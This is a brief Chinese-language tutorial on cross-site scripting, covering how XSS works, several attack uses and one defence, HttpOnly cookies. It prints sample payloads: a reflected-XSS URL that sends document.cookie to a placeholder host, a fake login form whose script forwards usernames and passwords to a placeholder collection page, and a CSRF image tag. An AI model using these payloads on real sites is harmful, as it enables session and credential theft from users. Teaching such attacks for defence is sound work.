XSS的原理
通过XSS使用户浏览器运行恶意脚本,使用户在打开这个页面时,浏览器自动的去运行这个脚本。
可以起到窃取用户cookie,以及模拟GST,POST请求来操作用户浏览器。
XSS的运用
窃取Cookie
在对用户输入数据没有过滤时,web服务器会把用户输入数据直接返回给客户端。正常情况为www.xxx.com/xx.php?input=123
如果要去窃取Cookie的话就可以使用一段JS代码对用户输入进行修改www.xxx.com/xx.php?input=<script>location.href='www.xxx.com/post?cookie'+document.cookie;</script>
这样当用户点击这个网址的时候,会把自己的cookie发送出来。
构造一个钓鱼界面
<script>
function hack(){
location.replace("http://www.xxx.com/record.asp?username="+document.forms[0].user.value+"password="+document.forms[0].pass.value);
}
</script>
<form>
<br><br>username<br>
<input type ="text" id ="user" name="user">
<br>password<br>
<input type="password" name="pass">
<br><input type="submit" name =login value='login' onclick ="hack()">
</form>
构造一个与原网页一模一样的网页,再对提交的地方插入一段JS代码,在提交的时候先向黑客那一端发送自己的用户名和密码。
跨站请求伪造
多会把请求伪装为图片,来诱导你去点击,点击之后就会利用你的权限去执行一系列的指令
<iimg src = http://www.xxx.com/xx.php?+构造的执行的指令>
注入恶意软件
攻击者可以在其他页面上放置一些恶意软件,用XSS注入的方式插入一段调用这个页面的脚本,当用户浏览器执行这段脚本使,就自动访问了恶意软件的页面
XSS的防御
1.给Cookie设置为httonly,这样就没办法通过XSS来获取Cookie了 setcookie("123","123",NULL,NULL,NULL,NULL,TRUE);
最后一位设置为true